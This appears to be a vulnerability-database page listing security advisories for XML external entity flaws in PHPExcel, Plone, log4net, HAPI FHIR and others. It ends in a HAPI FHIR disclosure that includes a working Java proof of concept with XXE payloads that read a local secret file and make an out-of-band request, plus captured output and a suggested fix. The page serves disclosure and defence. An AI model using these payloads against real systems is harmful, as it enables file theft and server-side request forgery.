Common Weakness Enumeration

CWE-611

Allowed

Improper Restriction of XML External Entity Reference

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output.

1691 vulnerabilities reference this CWE, most recent first.

GHSA-28RM-RJ57-QJPV

Vulnerability from github – Published: 2022-05-17 04:42 – Updated: 2025-03-31 13:40
VLAI
Summary
PHPExcel vulnerable to XXE attacks through libxml
Details

PHPExcel before 1.8.0, as used in ownCloud Server before 5.0.15 and 6.0.x before 6.0.2, does not disable external entity loading in libxml, which allows remote attackers to read arbitrary files, cause a denial of service, or possibly have other impact via an XML External Entity (XXE) attack.

Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpexcel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.8.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2014-2054"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-09-25T14:11:44Z",
    "nvd_published_at": "2014-06-04T14:55:00Z",
    "severity": "MODERATE"
  },
  "details": "PHPExcel before 1.8.0, as used in ownCloud Server before 5.0.15 and 6.0.x before 6.0.2, does not disable external entity loading in libxml, which allows remote attackers to read arbitrary files, cause a denial of service, or possibly have other impact via an XML External Entity (XXE) attack.",
  "id": "GHSA-28rm-rj57-qjpv",
  "modified": "2025-03-31T13:40:04Z",
  "published": "2022-05-17T04:42:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-2054"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PHPExcel/commit/e04bf7ed091b0a72d028eacf26d770b485d4e897"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/PHPOffice/PHPExcel"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PHPExcel/blob/2b601574975acfb9d4378a788ed5f2b747958095/changelog.txt#L120"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PHPExcel/blob/develop/changelog.txt"
    },
    {
      "type": "WEB",
      "url": "http://owncloud.org/about/security/advisories/oC-SA-2014-006"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "PHPExcel vulnerable to XXE attacks through libxml"
}

GHSA-2C8C-84W2-J38J

Vulnerability from github – Published: 2021-04-07 21:14 – Updated: 2024-10-15 17:35
VLAI
Summary
Improper Restriction of XML External Entity Reference in Plone
Details

Plone before 5.2.3 allows XXE attacks via a feature that is protected by an unapplied permission of plone.schemaeditor.ManageSchemata (therefore, only available to the Manager role).

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Plone"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "plone.app.event"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.2.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "plone.app.theming"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "plone.app.dexterity"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.6.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "plone.supermodel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-28736"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-04-07T19:33:49Z",
    "nvd_published_at": "2020-12-30T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "Plone before 5.2.3 allows XXE attacks via a feature that is protected by an unapplied permission of plone.schemaeditor.ManageSchemata (therefore, only available to the Manager role).",
  "id": "GHSA-2c8c-84w2-j38j",
  "modified": "2024-10-15T17:35:22Z",
  "published": "2021-04-07T21:14:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-28736"
    },
    {
      "type": "WEB",
      "url": "https://github.com/plone/Products.CMFPlone/issues/3209"
    },
    {
      "type": "WEB",
      "url": "https://dist.plone.org/release/5.2.3/RELEASE-NOTES.txt"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-2c8c-84w2-j38j"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/plone/PYSEC-2020-248.yaml"
    },
    {
      "type": "WEB",
      "url": "https://www.misakikata.com/codes/plone/python-en.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Improper Restriction of XML External Entity Reference in Plone"
}

GHSA-2C9Q-QWRC-F486

Vulnerability from github – Published: 2022-05-14 03:59 – Updated: 2022-11-01 22:35
VLAI
Summary
XML External Entity Reference in org.picketlink:picketlink-common
Details

The org.picketlink.common.util.DocumentUtil.getDocumentBuilderFactory method in PicketLink, as used in Red Hat JBoss Enterprise Application Platform (JBEAP) 5.2.0 and 6.2.4, expands entity references, which allows remote attackers to read arbitrary code and possibly have other unspecified impact via unspecified vectors, related to an XML External Entity (XXE) issue.

Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.picketlink:picketlink-common"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.7.0.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2014-3530"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-11-01T22:35:51Z",
    "nvd_published_at": "2014-07-22T20:55:00Z",
    "severity": "HIGH"
  },
  "details": "The org.picketlink.common.util.DocumentUtil.getDocumentBuilderFactory method in PicketLink, as used in Red Hat JBoss Enterprise Application Platform (JBEAP) 5.2.0 and 6.2.4, expands entity references, which allows remote attackers to read arbitrary code and possibly have other unspecified impact via unspecified vectors, related to an XML External Entity (XXE) issue.",
  "id": "GHSA-2c9q-qwrc-f486",
  "modified": "2022-11-01T22:35:51Z",
  "published": "2022-05-14T03:59:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-3530"
    },
    {
      "type": "WEB",
      "url": "https://github.com/picketlink/picketlink/commit/8c78668e4f08cf3c4ed14d8a36d402dcf02cb057"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=1112987"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/94700"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/picketlink/picketlink"
    },
    {
      "type": "WEB",
      "url": "https://issues.jboss.org/browse/PLINK-509"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2014-0883.html"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2014-0884.html"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2014-0885.html"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2014-0886.html"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2015-0091.html"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2015-0675.html"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2015-0720.html"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2015-0765.html"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2015-1888.html"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/60047"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/60124"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1030607"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "XML External Entity Reference in org.picketlink:picketlink-common"
}

GHSA-2CFC-865J-GM4W

Vulnerability from github – Published: 2022-04-22 00:00 – Updated: 2022-04-26 13:03
VLAI
Summary
XML External Entity Reference in detekt
Details

Improper Restriction of XML External Entity Reference in GitHub repository detekt/detekt prior to 1.20.0.

Severity
7.3 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.gitlab.arturbosch.detekt:detekt-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.20.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-0272"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-04-26T13:03:16Z",
    "nvd_published_at": "2022-04-21T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "Improper Restriction of XML External Entity Reference in GitHub repository detekt/detekt prior to 1.20.0.",
  "id": "GHSA-2cfc-865j-gm4w",
  "modified": "2022-04-26T13:03:16Z",
  "published": "2022-04-22T00:00:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0272"
    },
    {
      "type": "WEB",
      "url": "https://github.com/detekt/detekt/commit/c965a8d2a6bbdb9bcfc6acfa7bbffd3da81f5395"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/detekt/detekt"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/23e37ba7-96d5-4037-a90a-8c8f4a70ce44"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "XML External Entity Reference in detekt"
}

GHSA-2CWJ-8CHV-9PP9

Vulnerability from github – Published: 2021-01-29 19:47 – Updated: 2021-08-25 20:55
VLAI
Summary
XML External Entity attack in log4net
Details

Apache log4net before 2.0.10 does not disable XML external entities when parsing log4net configuration files. This could allow for XXE-based attacks in applications that accept arbitrary configuration files from users.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "log4net"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2018-1285"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-01-29T19:47:10Z",
    "nvd_published_at": "2020-05-11T17:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Apache log4net before 2.0.10 does not disable XML external entities when parsing log4net configuration files. This could allow for XXE-based attacks in applications that accept arbitrary configuration files from users.",
  "id": "GHSA-2cwj-8chv-9pp9",
  "modified": "2021-08-25T20:55:11Z",
  "published": "2021-01-29T19:47:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1285"
    },
    {
      "type": "WEB",
      "url": "https://www.whitesourcesoftware.com/vulnerability-database/CVE-2018-1285"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujan2021.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuapr2022.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuApr2021.html"
    },
    {
      "type": "WEB",
      "url": "https://www.nuget.org/packages/log4net"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-DOTNET-LOG4NET-568897"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20220909-0001"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VT2DNNSW7C7FNK3MA3SLEUHGW5USYZKE"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VKL2LPINAI6BCMXOH4V4HVHGLUXIWOFO"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/M2U233HVAQDSZ2PRG4XSGDASLY3J6ALH"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/reab1c277c95310bad1038255e0757857b2fbe291411b4fa84552028a%40%3Cdev.logging.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rdbac24c945ca5c69cd5348b5ac023bc625768f653335de146e09ae2d@%3Cdev.logging.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rd2d72a017e238d1f345f9d14e075c81be16fc68a41c9e9ad9e29a732@%3Cdev.logging.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r9de86a185575e6c5f92e2a70a1d2e2e9514dc4341251577aac8e3866@%3Cdev.logging.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r7ab6b6e702f11a6f77b0db2af2d5e5532f56ae4b99b5fe73c5200b6a@%3Cdev.logging.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r6543acafca3e2d24ff4b0c364a91540cb9378977ffa8d37a03ab4b0f@%3Cdev.logging.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r525cbbd7db0aef4a114cf60de8439aa285decc34904d42a7f14f39c3@%3Cdev.logging.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r33564de316d4e4ba0fea1d4d079e62cde1ffe64369c1157243d840d9@%3Cdev.logging.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r00b16ac5e0bbf7009a0d167ed58f3f94d0033b0f4b3e3d5025cc4872@%3Cdev.logging.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://issues.apache.org/jira/browse/LOG4NET-575"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/logging-log4net"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "XML External Entity attack in log4net"
}

GHSA-2F38-5W6M-7C6F

Vulnerability from github – Published: 2022-05-17 02:43 – Updated: 2022-05-17 02:43
VLAI
Details

It was found that the Red Hat JBoss EAP 7.0.5 implementation of javax.xml.transform.TransformerFactory is vulnerable to XXE. An attacker could use this flaw to launch DoS or SSRF attacks, or read files from the server where EAP is deployed.

Severity
9.8 (Critical)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-7503"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-05-18T15:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "It was found that the Red Hat JBoss EAP 7.0.5 implementation of javax.xml.transform.TransformerFactory is vulnerable to XXE. An attacker could use this flaw to launch DoS or SSRF attacks, or read files from the server where EAP is deployed.",
  "id": "GHSA-2f38-5w6m-7c6f",
  "modified": "2022-05-17T02:43:12Z",
  "published": "2022-05-17T02:43:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-7503"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1451960"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/98546"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2F55-G35J-5JMF

Vulnerability from github – Published: 2026-06-17 18:47 – Updated: 2026-06-17 18:47
VLAI
Summary
HAPI FHIR: XXE in XsltUtilities.saxonTransform via unhardened Saxon TransformerFactory
Details

Summary

org.hl7.fhir.utilities.XsltUtilities exposes two parallel families of XSLT transform helpers. The transform(...) overloads obtain their TransformerFactory from the project's hardened helper XMLUtil.newXXEProtectedTransformerFactory() (which sets ACCESS_EXTERNAL_DTD="" and ACCESS_EXTERNAL_STYLESHEET=""). The sibling saxonTransform(...) overloads instead instantiate a bare new net.sf.saxon.TransformerFactoryImpl() with no external-access restriction. A document transformed through any saxonTransform(...) overload is parsed with external general entities and external DTD/parameter entities enabled, so an attacker who controls (or can MITM) the transformed XML obtains XML External Entity injection: local file disclosure and blind XXE / SSRF to arbitrary URLs reachable from the host.

XMLUtil documents that its protected factory "should be the only place where TransformerFactory is instantiated in this project". The saxonTransform overloads violate that contract while their same-file transform siblings honour it.

Affected versions

org.hl7.fhir.utilities (Maven ca.uhn.hapi.fhir:org.hl7.fhir.utilities) <= 6.9.8 (latest release at time of report; verified live on 6.9.8). The bare net.sf.saxon.TransformerFactoryImpl() instantiation is present at XsltUtilities.java:61, :91, and :106.

Privilege required

None at the library boundary. The exposure depends on the calling tool: any FHIR component that runs XsltUtilities.saxonTransform(...) over XML whose source document, embedded DTD, or referenced stylesheet is attacker-influenced (an IG package, a fetched/uploaded resource, a downloaded stylesheet, or a MITM'd HTTP fetch) triggers the XXE. No DOCTYPE/entity stripping occurs before the Saxon parser sees the bytes.

Root cause

org.hl7.fhir.utilities/src/main/java/org/hl7/fhir/utilities/XsltUtilities.java:

// VULNERABLE — bare factory, no external-access restriction (lines 60-73, 90-99, 105-128)
public static byte[] saxonTransform(Map<String, byte[]> files, byte[] source, byte[] xslt) throws TransformerException {
    TransformerFactory f = new net.sf.saxon.TransformerFactoryImpl();   // <-- bare
    f.setAttribute("http://saxon.sf.net/feature/version-warning", Boolean.FALSE);
    StreamSource xsrc = new StreamSource(new ByteArrayInputStream(xslt));
    f.setURIResolver(new ZipURIResolver(files));
    Transformer t = f.newTransformer(xsrc);
    ...
}
public static String saxonTransform(String source, String xslt) throws TransformerException, IOException {
    TransformerFactoryImpl f = new net.sf.saxon.TransformerFactoryImpl();   // <-- bare
    ...
}

// HARDENED SIBLING (same file, lines 75-88 / 130-149) — negative control
public static byte[] transform(Map<String, byte[]> files, byte[] source, byte[] xslt) throws TransformerException {
    TransformerFactory f = org.hl7.fhir.utilities.xml.XMLUtil.newXXEProtectedTransformerFactory(); // <-- hardened
    ...
}

The hardened helper (XMLUtil.newXXEProtectedTransformerFactory()) is:

public static TransformerFactory newXXEProtectedTransformerFactory() {
    final TransformerFactory transformerFactory = TransformerFactory.newInstance();
    transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
    transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");
    return transformerFactory;
}

The saxonTransform overloads never call this helper and never set the two ACCESS_EXTERNAL_* attributes, so the underlying parser resolves external general entities (<!ENTITY x SYSTEM "file:///...">) and external DTD/parameter entities (<!ENTITY % p SYSTEM "http://attacker/">). This is a classic CWE-611. The asymmetry — one family hardened, the co-located sibling family bare — is the bug: the protection that already exists in the same class was not extended to the saxonTransform variants.

Reproduction (E2E against published Maven Central org.hl7.fhir.utilities:6.9.8)

A self-contained Maven project. pom.xml pulls the latest released artifact, which transitively brings net.sf.saxon:Saxon-HE:11.6.

pom.xml:

<project xmlns="http://maven.apache.org/POM/4.0.0">
  <modelVersion>4.0.0</modelVersion>
  <groupId>poc</groupId><artifactId>fhir-xslt-xxe-poc</artifactId><version>1.0</version>
  <properties>
    <maven.compiler.source>17</maven.compiler.source>
    <maven.compiler.target>17</maven.compiler.target>
  </properties>
  <dependencies>
    <dependency>
      <groupId>ca.uhn.hapi.fhir</groupId>
      <artifactId>org.hl7.fhir.utilities</artifactId>
      <version>6.9.8</version>
    </dependency>
  </dependencies>
</project>

src/main/java/Poc.java:

import org.hl7.fhir.utilities.XsltUtilities;
import java.io.*;
import java.net.*;
import java.nio.charset.StandardCharsets;
import java.nio.file.*;
import java.util.*;

public class Poc {
  static final String CANARY_MARK = "TOP-SECRET-FHIR-XSLT-CANARY-3f9a17c2";
  // identity stylesheet: copies the resolved //data text into the output
  static final String IDENTITY_XSLT =
      "<?xml version=\"1.0\"?>\n" +
      "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\n" +
      "  <xsl:output method=\"text\"/>\n" +
      "  <xsl:template match=\"/\"><xsl:value-of select=\"//data\"/></xsl:template>\n" +
      "</xsl:stylesheet>\n";

  public static void main(String[] args) throws Exception {
    Path secret = Files.createTempFile("fhir-secret-", ".txt");
    Files.writeString(secret, CANARY_MARK + " :: " + UUID.randomUUID());

    final List<String> oobHits = Collections.synchronizedList(new ArrayList<>());
    ServerSocket sentinel = new ServerSocket(0);
    int oobPort = sentinel.getLocalPort();
    Thread st = new Thread(() -> {
      try {
        while (!sentinel.isClosed()) {
          Socket s = sentinel.accept();
          BufferedReader r = new BufferedReader(new InputStreamReader(s.getInputStream(), StandardCharsets.UTF_8));
          String line = r.readLine();
          if (line != null) { oobHits.add(line); System.out.println("[SENTINEL] inbound connection: " + line); }
          byte[] body = "<!-- ok -->".getBytes(StandardCharsets.UTF_8); // well-formed empty external DTD
          OutputStream os = s.getOutputStream();
          os.write(("HTTP/1.1 200 OK\r\nContent-Type: application/xml-dtd\r\nContent-Length: " + body.length + "\r\n\r\n").getBytes());
          os.write(body); os.flush(); s.close();
        }
      } catch (IOException ignored) {}
    });
    st.setDaemon(true); st.start();

    // A1: external general entity -> local secret (file read)
    // A2: external parameter entity -> attacker URL (blind XXE / SSRF)
    String maliciousSource =
        "<?xml version=\"1.0\"?>\n" +
        "<!DOCTYPE root [\n" +
        "  <!ENTITY canary SYSTEM \"" + secret.toUri() + "\">\n" +
        "  <!ENTITY % oob SYSTEM \"http://127.0.0.1:" + oobPort + "/evil-fhir-xslt-ssrf.dtd\">\n" +
        "  %oob;\n" +
        "]>\n" +
        "<root><data>&canary;</data></root>\n";
    Path srcFile = Files.createTempFile("fhir-malicious-src-", ".xml");
    Files.writeString(srcFile, maliciousSource);
    Path xsltFile = Files.createTempFile("fhir-identity-", ".xslt");
    Files.writeString(xsltFile, IDENTITY_XSLT);

    System.out.println("=== Target: org.hl7.fhir.utilities:6.9.8 (XsltUtilities) on JDK " + System.getProperty("java.version") + " ===");
    System.out.println("=== Saxon: " + saxonVersion() + " ===");
    System.out.println("Secret file: " + secret + " (contains " + CANARY_MARK + ")");
    System.out.println("OOB sentinel: http://127.0.0.1:" + oobPort + "/\n");

    System.out.println("---- ATTACK: XsltUtilities.saxonTransform(source, xslt)  [BARE TransformerFactoryImpl] ----");
    try {
      String out = XsltUtilities.saxonTransform(srcFile.toString(), xsltFile.toString());
      System.out.println("transform output: [" + out.trim() + "]");
      System.out.println(out.contains(CANARY_MARK)
        ? ">>> XXE CONFIRMED: canary leaked into XSLT output via external entity <<<"
        : ">>> canary NOT in output <<<");
    } catch (Exception e) { System.out.println("saxonTransform threw: " + e); }
    Thread.sleep(400);
    System.out.println("OOB sentinel hits after BARE call: " + oobHits + "\n");

    // Direct factory comparison (isolates the hardening difference)
    System.out.println("---- DIRECT FACTORY COMPARISON (same malicious source, identity XSLT) ----");
    int b = oobHits.size();
    System.out.println("[bare new TransformerFactoryImpl()]");
    runDirect(new net.sf.saxon.TransformerFactoryImpl(), srcFile, xsltFile, oobHits, b);
    int b2 = oobHits.size();
    System.out.println("[hardened XMLUtil.newXXEProtectedTransformerFactory()]");
    runDirect(org.hl7.fhir.utilities.xml.XMLUtil.newXXEProtectedTransformerFactory(), srcFile, xsltFile, oobHits, b2);
    sentinel.close();
  }

  static void runDirect(javax.xml.transform.TransformerFactory f, Path srcFile, Path xsltFile, List<String> oobHits, int before) throws Exception {
    try {
      javax.xml.transform.Transformer t = f.newTransformer(new javax.xml.transform.stream.StreamSource(Files.newInputStream(xsltFile)));
      ByteArrayOutputStream out = new ByteArrayOutputStream();
      t.transform(new javax.xml.transform.stream.StreamSource(Files.newInputStream(srcFile)), new javax.xml.transform.stream.StreamResult(out));
      String s = out.toString(StandardCharsets.UTF_8).trim();
      System.out.println("  output: [" + s + "]");
      System.out.println("  canary leaked: " + s.contains(CANARY_MARK));
    } catch (Exception e) {
      System.out.println("  threw: " + e.getClass().getName() + ": " + String.valueOf(e.getMessage()).replaceAll("[\\u4e00-\\u9fff]", "?"));
    }
    Thread.sleep(300);
    System.out.println("  OOB sentinel hits from this call: " + (oobHits.size() - before));
  }

  static String saxonVersion() {
    try { return (String) Class.forName("net.sf.saxon.Version").getMethod("getProductVersion").invoke(null); }
    catch (Throwable t) { return "unknown"; }
  }
}

Run + verbatim captured output (JDK 17.0.18, Saxon-HE 11.6; CJK in the hardened-path SAXParseException replaced with ? by the harness for ASCII display, the message text is accessExternalDTD ... restriction ... 'http' access not allowed):

$ mvn -q compile && mvn -q exec:java -Dexec.mainClass=Poc
=== Target: org.hl7.fhir.utilities:6.9.8 (XsltUtilities) on JDK 17.0.18 ===
=== Saxon: 11.6 ===
Secret file: /var/folders/.../fhir-secret-467000002121832365.txt (contains TOP-SECRET-FHIR-XSLT-CANARY-3f9a17c2)
OOB sentinel: http://127.0.0.1:62466/

---- ATTACK: XsltUtilities.saxonTransform(source, xslt)  [BARE TransformerFactoryImpl] ----
[SENTINEL] inbound connection: GET /evil-fhir-xslt-ssrf.dtd HTTP/1.1
transform output: [TOP-SECRET-FHIR-XSLT-CANARY-3f9a17c2 :: 4e3c33aa-4db1-4f22-880f-6666fedd9da4]
>>> XXE CONFIRMED: canary leaked into XSLT output via external entity <<<
OOB sentinel hits after BARE call: [GET /evil-fhir-xslt-ssrf.dtd HTTP/1.1]

---- DIRECT FACTORY COMPARISON (same malicious source, identity XSLT) ----
[bare new TransformerFactoryImpl()]
[SENTINEL] inbound connection: GET /evil-fhir-xslt-ssrf.dtd HTTP/1.1
  output: [TOP-SECRET-FHIR-XSLT-CANARY-3f9a17c2 :: 4e3c33aa-4db1-4f22-880f-6666fedd9da4]
  canary leaked: true
  OOB sentinel hits from this call: 1
[hardened XMLUtil.newXXEProtectedTransformerFactory()]
  threw: net.sf.saxon.trans.XPathException: org.xml.sax.SAXParseException; lineNumber: 5; columnNumber: 8; ????: ???????? 'evil-fhir-xslt-ssrf.dtd', ?? accessExternalDTD ???????????? 'http' ??.
  OOB sentinel hits from this call: 0

Interpretation of the verbatim output:

  • Bare path (saxonTransform and bare TransformerFactoryImpl): the local secret file content (TOP-SECRET-FHIR-XSLT-CANARY-3f9a17c2 :: ...) is leaked into the transform output (file disclosure), and the OOB sentinel receives GET /evil-fhir-xslt-ssrf.dtd HTTP/1.1 (blind XXE / SSRF). canary leaked: true, OOB hits = 1.
  • Hardened path (XMLUtil.newXXEProtectedTransformerFactory()): parsing the same malicious source throws an accessExternalDTD ... 'http' access not allowed SAXParseException and the OOB sentinel receives 0 hits. The only difference between the two runs is the factory: the existing project helper blocks the attack, the bare sibling does not.

Impact

  • Local file disclosure: any file readable by the JVM process is exfiltrated into the transform output (demonstrated above with a canary secret file).
  • Blind XXE / SSRF: external parameter/DTD entities cause the host to issue attacker-directed HTTP(S) requests (demonstrated by the sentinel hit), enabling internal-network probing and cloud metadata access from the host's network position.
  • The saxonTransform overloads are part of the public org.hl7.fhir.utilities API consumed across the FHIR Java tooling (IG-publisher / validation / conversion utilities); any consumer that routes attacker-influenced or MITM-able XML through them inherits the XXE.

Suggested fix

Route the saxonTransform overloads through the same protection the transform siblings already use. Because these overloads specifically need the Saxon implementation, obtain a Saxon factory and apply the two ACCESS_EXTERNAL_* restrictions (mirroring XMLUtil.newXXEProtectedTransformerFactory()), e.g. a small helper in XMLUtil:

@SuppressWarnings("checkstyle:transformerFactoryNewInstance")
public static TransformerFactory newXXEProtectedSaxonTransformerFactory() {
    final TransformerFactory f = new net.sf.saxon.TransformerFactoryImpl();
